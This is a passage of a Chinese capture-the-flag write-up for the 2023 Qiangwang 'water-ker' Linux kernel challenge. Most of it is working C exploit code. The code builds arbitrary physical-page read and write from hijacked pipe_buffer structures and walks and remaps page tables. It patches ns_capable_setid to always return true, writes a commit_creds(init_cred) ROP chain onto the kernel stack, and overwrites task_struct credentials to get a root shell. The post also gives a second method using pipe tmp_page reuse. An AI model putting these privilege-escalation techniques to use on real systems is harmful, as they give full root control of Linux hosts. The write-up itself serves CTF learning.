    dst_paddr = vaddr_resolve_for_3_level(pgd_addr, dst_vaddr);
    • 先看一些与页表有关的宏

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      #define PTE_OFFSET 12
      #define PMD_OFFSET 21
      #define PUD_OFFSET 30
      #define PGD_OFFSET 39

      #define PT_ENTRY_MASK 0b111111111UL
      #define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
      #define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
      #define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
      #define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)

      #define PTE_ENTRY(addr) ((addr >> PTE_OFFSET) & PT_ENTRY_MASK)
      #define PMD_ENTRY(addr) ((addr >> PMD_OFFSET) & PT_ENTRY_MASK)
      #define PUD_ENTRY(addr) ((addr >> PUD_OFFSET) & PT_ENTRY_MASK)
      #define PGD_ENTRY(addr) ((addr >> PGD_OFFSET) & PT_ENTRY_MASK)

      #define PAGE_ATTR_RW (1UL << 1)
      #define PAGE_ATTR_NX (1UL << 63)

      由于PDE的PS位置一,所以PDE直接映射到2M的页,其实只有三级页表,放一张四级页表的图意思一下:)

    • vaddr_resolve_for_3_level返回目标虚拟地址的物理地址

      对于每级页表

      • 先读取内容,读一页
      • 根据虚拟地址对应位数查找下一级页表的地址,还要去除低位和高位的标志位
      • 以上得出的是物理地址,加直接映射区基址转化为虚拟地址
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      size_t buf[0x1000];
      size_t pud_addr, pmd_addr;

      arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
      pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
      pud_addr += page_offset_base;

      arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
      pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
      pmd_addr += page_offset_base;

      arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
      return (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
  • 计算ns_capable_setid所在的小页

    1
    2
    3
    4
    dst_paddr += 0x1000 * PTE_ENTRY(dst_vaddr);

    printf("\033[32m\033[1m[+] Got ns_capable_setid's phys addr: \033[0m"
    "0x%lx\n\n", dst_paddr);
  • 调用vaddr_remapping把mmap映射的物理地址改为ns_capable_setid,改两页

    1
    2
    3
    /* remapping to our mmap area */
    vaddr_remapping(pgd_addr, 0x114514000, dst_paddr);
    vaddr_remapping(pgd_addr, 0x114514000 + 0x1000, dst_paddr + 0x1000);
    • 这里的PDE的PS位没有置一,所以是四级页表,思路和vaddr_resolve_for_3_level一样,多一步寻表和更改,更改处还要将页置为可写

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      void vaddr_remapping(size_t pgd_addr, size_t vaddr, size_t paddr)
      {
      size_t buf[0x1000];
      size_t pud_addr, pmd_addr, pte_addr;

      arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
      pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
      pud_addr += page_offset_base;

      arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
      pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
      pmd_addr += page_offset_base;

      arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
      pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
      pte_addr += page_offset_base;

      arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf);
      buf[PTE_ENTRY(vaddr)] = paddr | 0x8000000000000867; /* mark it writable */
      arbitrary_write_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf,
      0xff0);
      }
  • 开始更改目标函数ns_capable_setid

    setresuid系统调用中会调用ns_capable_setid判断user的权限,直接patch ns_capable_setid使它永远return true:)

    1
    2
    3
    4
    5
    memcpy(kcode_map + (NS_CAPABLE_SETID & 0xfff), 
    "\xf3\x0f\x1e\xfa" /* endbr64 */
    "H\xc7\xc0\x01\x00\x00\x00" /* mov rax, 1 */
    "\xc3", /* ret */
    12);
  • 调用setresuid更改用户id,提权拿shell

    1
    2
    3
    4
    5
    6
    7
    /* get root now :) */
    puts("[*] trigger evil ns_capable_setid() in setresuid()...\n");

    sleep(5);

    setresuid(0, 0, 0);
    get_root_shell();

ROP

通过task_struct找内核栈地址所在page,直接在内核栈上写rop链

  • 还是调用pgd_vaddr_resolve获取一些地址

    1
    2
    3
    4
    5
    6
        size_t rop[0x1000], idx = 0; 

    redo:

    /* resolving some vaddr */
    pgd_vaddr_resolve();
  • 获取stack的内核虚拟地址(task_struct的task成员就是内核栈地址)

    1
    2
    3
    4
    5
    6
    stack_addr_another = vaddr_resolve(pgd_addr, stack_addr);
    stack_addr_another &= (~PAGE_ATTR_NX); /* N/X bit */
    stack_addr_another += page_offset_base;

    printf("\033[32m\033[1m[+] Got another virt addr of kernel stack: \033[0m"
    "0x%lx\n\n", stack_addr_another);

    vaddr_resolve函数和vaddr_resolve_for_3_level差不多,只是多一层解析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    size_t vaddr_resolve(size_t pgd_addr, size_t vaddr)
    {
    size_t buf[0x1000];
    size_t pud_addr, pmd_addr, pte_addr, pte_val;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
    pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
    pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
    pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pte_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf);
    pte_val = (buf[PTE_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);

    return pte_val;
    }
  • 构造rop链并写到栈上,尽量把rop链往后写前面用ret填充,这样就不用算偏移了(

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    /* construct the ROP */
    for (int i = 0; i < ((0x1000 - 8 * 11) / 8); i++) {
    rop[idx++] = RET + kernel_offset;
    }

    rop[idx++] = POP_RDI_RET + kernel_offset;
    rop[idx++] = INIT_CRED + kernel_offset;
    rop[idx++] = COMMIT_CREDS + kernel_offset;
    rop[idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE +54 + kernel_offset;
    rop[idx++] = *(size_t*) "arttnba3";
    rop[idx++] = *(size_t*) "arttnba3";
    rop[idx++] = (size_t) get_root_shell;
    rop[idx++] = user_cs;
    rop[idx++] = user_rflags;
    rop[idx++] = user_sp;
    rop[idx++] = user_ss;

    stack_page = direct_map_addr_to_page_addr(stack_addr_another);

    puts("[*] Hijacking current task's stack...");

    sleep(5);

    arbitrary_write_by_pipe((struct page*) stack_page, rop, 0xff0);

    函数和栈地址(rbp)一览(好长的调用链(lll¬ω¬))

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    /* task_struct->stack = 0xffffc900005ff000 */
    entry_SYSCALL_64 0xffffc900005ffff8
    do_syscall_64 0xffffc900005fff48
    __x64_sys_write 0xffffc900005ffe78
    ksys_write 0xffffc900005ffe68
    vfs_write 0xffffc900005ffe28
    pipe_write 0xffffc900005ffd90
    copy_page_from_iter 0xffffc900005ffce8
    _copy_from_iter 0xffffc900005ffca8
    copyin 0xffffc900005ffc10
    rep_movs_alternative 0xffffc900005ffc10

    数据写入实际上发生在rep_movs_alternative中,这个函数退出时就开始执行调用链了

  • !!一个小(da)插曲!!

    arttnba3的博客有提到会出现rop链写入失败不知道写到哪去了的问题

    这是泄露的内核栈地址

    但是内核实际上使用的栈地址(也是之后要写入rop链的栈地址)是stack_addr + 0x3000

    arttnba3的原exp是泄露task_struct->stack(查找pgd时也是找的这一页),在写入的时候在对应页+ 3 * 0x40

    1
    2
    3
    4
    5
    6
    7
    8
    9
    void pgd_vaddr_resolve(void)
    {
    stack_addr = tsk_buf[4];
    }

    void privilege_escalation_by_rop(void)
    {
    arbitrary_write_by_pipe((struct page*) (stack_page + 0x40 * 3), rop, 0xff0);
    }

    但是实测stack使用的page不一定是物理连续的(ˉ▽ˉ;)…,所以会不知道写哪去了

    所以更改一下最开始的stack泄露,直接+ 0x3000,查找pgd时直接查找这一页,写入也直接写入这一页

    1
    2
    3
    4
    5
    6
    7
    8
    9
    void pgd_vaddr_resolve(void)
    {
    stack_addr = tsk_buf[4] + 0x3000;
    }

    void privilege_escalation_by_rop(void)
    {
    arbitrary_write_by_pipe((struct page*) stack_page, rop, 0xff0);
    }

ps:干了件很sb的事就是把img的包重新打包的时候打成cpio了,md断点突然打不上了血压暴涨发出尖锐的爆鸣声(╯▔皿▔)╯

修改cred

init_cred为有着root权限的cred,我们可以直接将当前进程的cred修改为该cred以完成提权

arttnba3的exp里是使用task_struct->real_parent向前遍历直到task_struct->real_parent == &task_struct来寻找init进程(所有进程的父进程)的task_struct来寻找init_cred,这道题有init_cred地址就不遍历了(绝对不是因为我懒(‾◡◝))

ps:这里我又干了件很sb的事就是所有地址都多加了个kernel_base(ˉ▽ˉ;)…,🧠飞飞~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* @brief find the init_task and copy something to current task_struct
*/
void privilege_escalation_by_task_overwrite(void)
{
init_task = kernel_offset + INIT_TASK;
init_cred = kernel_offset + INIT_CRED;
init_nsproxy = kernel_offset + INIT_NSPROXY;

printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task);
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);

/* now, changing the current task_struct to get the full root :) */
puts("[*] Escalating ROOT privilege now...");

current_task_page = direct_map_addr_to_page_addr(current_task);

arbitrary_read_by_pipe((struct page*) current_task_page, buf);
arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);

tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
tsk_buf[367] = init_cred;
tsk_buf[368] = init_cred;
tsk_buf[381] = init_nsproxy;

arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0);
arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),
&buf[512], 0x100);

puts("[+] Done.\n");
puts("[*] checking for root...");

get_root_shell();
}

这种提权好像只是有概率成功……(・∀・(・∀・(・∀・*)

破案了,跟上面一样的问题,task_struct所在的两页不一定物理连续,所以cred可能又写到别的地方去了

更改后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* @brief find the init_task and copy something to current task_struct
*/
void privilege_escalation_by_task_overwrite(void)
{
init_task = kernel_offset + INIT_TASK;
init_cred = kernel_offset + INIT_CRED;
init_nsproxy = kernel_offset + INIT_NSPROXY;

printf("\033[32m\033[1m[+] Found init_task: \033[0m0x%lx\n", init_task);
printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n",init_nsproxy);

/* now, changing the current task_struct to get the full root :) */
puts("[*] Escalating ROOT privilege now...");

current_task_page = direct_map_addr_to_page_addr(current_task);

arbitrary_read_by_pipe((struct page*) current_task_page, buf);

size_t current_task_page_1 = direct_map_addr_to_page_addr(current_task + 0x1000);

arbitrary_read_by_pipe((struct page*) (current_task_page_1), &buf[512]);

tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
tsk_buf[367] = init_cred;
tsk_buf[368] = init_cred;
tsk_buf[381] = init_nsproxy;

arbitrary_write_by_pipe((struct page*) current_task_page, buf, 0xff0);
arbitrary_write_by_pipe((struct page*) current_task_page_1,
&buf[512], 0xff0);

puts("[+] Done.\n");
puts("[*] checking for root...");

get_root_shell();
}

方法二

特别鸣谢nightu师傅的指导o(* ̄▽ ̄*)ブ

pipe_inode_info

pipe_inode_info结构体用于描述一个pipe

1
2
3
4
5
6
struct pipe_inode_info {
unsigned int head;
unsigned int tail;
struct page *tmp_page;
struct pipe_buffer *bufs;
};
  • head、tail:使用的bufs的序号,头和尾

  • tmp_page:之前释放的page,已经读完数据

  • bufs:pipe_buffer结构体数组

    重温一下pipe_buffer

    1
    2
    3
    4
    5
    6
    7
    struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
    };
    • page:数据储存的页
    • offset:read指针
    • len:write指针 - read指针
    • flags:一些flag,比如能否并入非full的buffer就是0x10
    • private:ops使用的private data

tmp_page

tmp_page其实就是一个page的后备,可存一个page,在向一个新的pipe中write的时候如果tmp_page不为空则使用tmp_page的page,否则申请一个page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct page *page = pipe->tmp_page;

if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}



/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;

copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);

在pipe_read中,如果一个buf中的数据被读完了,调用pipe_buf_release

1
2
3
4
5
6
7
if (!buf->len) {
pipe_buf_release(pipe, buf);
spin_lock_irq(&pipe->rd_wait.lock);
tail++;
pipe->tail = tail;
spin_unlock_irq(&pipe->rd_wait.lock);
}

pipe_buf_release回先将pipe_buffer的ops置空,再调用对应的release函数,这里是anon_pipe_buf_release

1
2
3
4
5
6
7
8
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
const struct pipe_buf_operations *ops = buf->ops;

buf->ops = NULL;
ops->release(pipe, buf);
}

在anon_pipe_buf_release中,如果pipe_buffer的page没有别人使用且tmp_page为空则将这个page放入tmp_page备用

1
2
3
4
5
6
7
8
9
10
static void anon_pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
struct page *page = buf->page;

if (page_count(page) == 1 && !pipe->tmp_page)
pipe->tmp_page = page;
else
put_page(page);
}

注:

  • 任何一页的内容读完再写入都会另起一个pipe_buffer
  • pipe_buffer->flags没有0x10每次写入之后都会另起一个pipe_buffer

简单一些的利用方式

有这个特性利用的时候其实可以不用那么复杂

此时我们已经有了一个uaf

  • 利用victim write修改snd_victim的目标pipe_buffer,指向要改的page

  • victim read读完刚修改的字节数

    这时victim会将snd_victim所在page放回tmp_page

  • victim再次write的时候会另起一个pipe_buffer,使用tmp_page,也就是snd_victim所在的page,这样就达到了重复修改snd_victim的目的

    不用担心pipe_buffer消耗完的事情,pipe_buffer会循环使用( •̀ ω •́ )✧

exp需要修改的部分

其实不需要两次uaf,但我用第二次uaf来确定pipd_buffer的index了

  • main函数中删去building_self_writing_pipe

    1
    2
    3
    //building_self_writing_pipe();

    info_leaking_by_arbitrary_pipe();
  • setup_evil_pipe,消耗之前write的字节

    1
    2
    3
    4
    5
    void setup_evil_pipe(void)
    {
    char temp_buf[0x1000];
    read(pipe_fd[victim_pid][0], temp_buf, 0x60);
    }
  • arbitrary_read_by_pipe,要改的pipe_buffer是第三个

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
    {
    char temp_buf[0x1000];

    /* page to read */
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0x1ff8;
    evil_2nd_buf.page = page_to_read;
    evil_2nd_buf.ops = info_pipe_buf.ops;
    evil_2nd_buf.private = info_pipe_buf.private;
    evil_2nd_buf.flags = info_pipe_buf.flags;

    write(pipe_fd[victim_pid][1], temp_zero_buf, 96*2);
    write(pipe_fd[victim_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));

    read(pipe_fd[snd_vicitm_pid][0], dst, 0xfff);

    read(pipe_fd[victim_pid][0], temp_buf, 96*2 + sizeof(evil_2nd_buf));
    }
  • arbitrary_write_by_pipe

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
    {
    char temp_buf[0x1000];

    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;
    evil_2nd_buf.ops = info_pipe_buf.ops;
    evil_2nd_buf.flags = info_pipe_buf.flags;
    evil_2nd_buf.private = info_pipe_buf.private;

    write(pipe_fd[victim_pid][1], temp_zero_buf, 96*2);
    write(pipe_fd[victim_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));

    write(pipe_fd[snd_vicitm_pid][1], src, 0xfff);

    read(pipe_fd[victim_pid][0], temp_buf, 96*2 + sizeof(evil_2nd_buf));
    }
  • rop的时候rsp要加8

TODO

  • KASLR机制,物理内存探测和映射什么的(其实就是继续系统启动,乐)

  • What is CFI?


2023 强网拟态 water-ker
http://akaieurus.github.io/2023/11/30/2023强网拟态-water-ker/
作者
Eurus
发布于
2023年11月30日
许可协议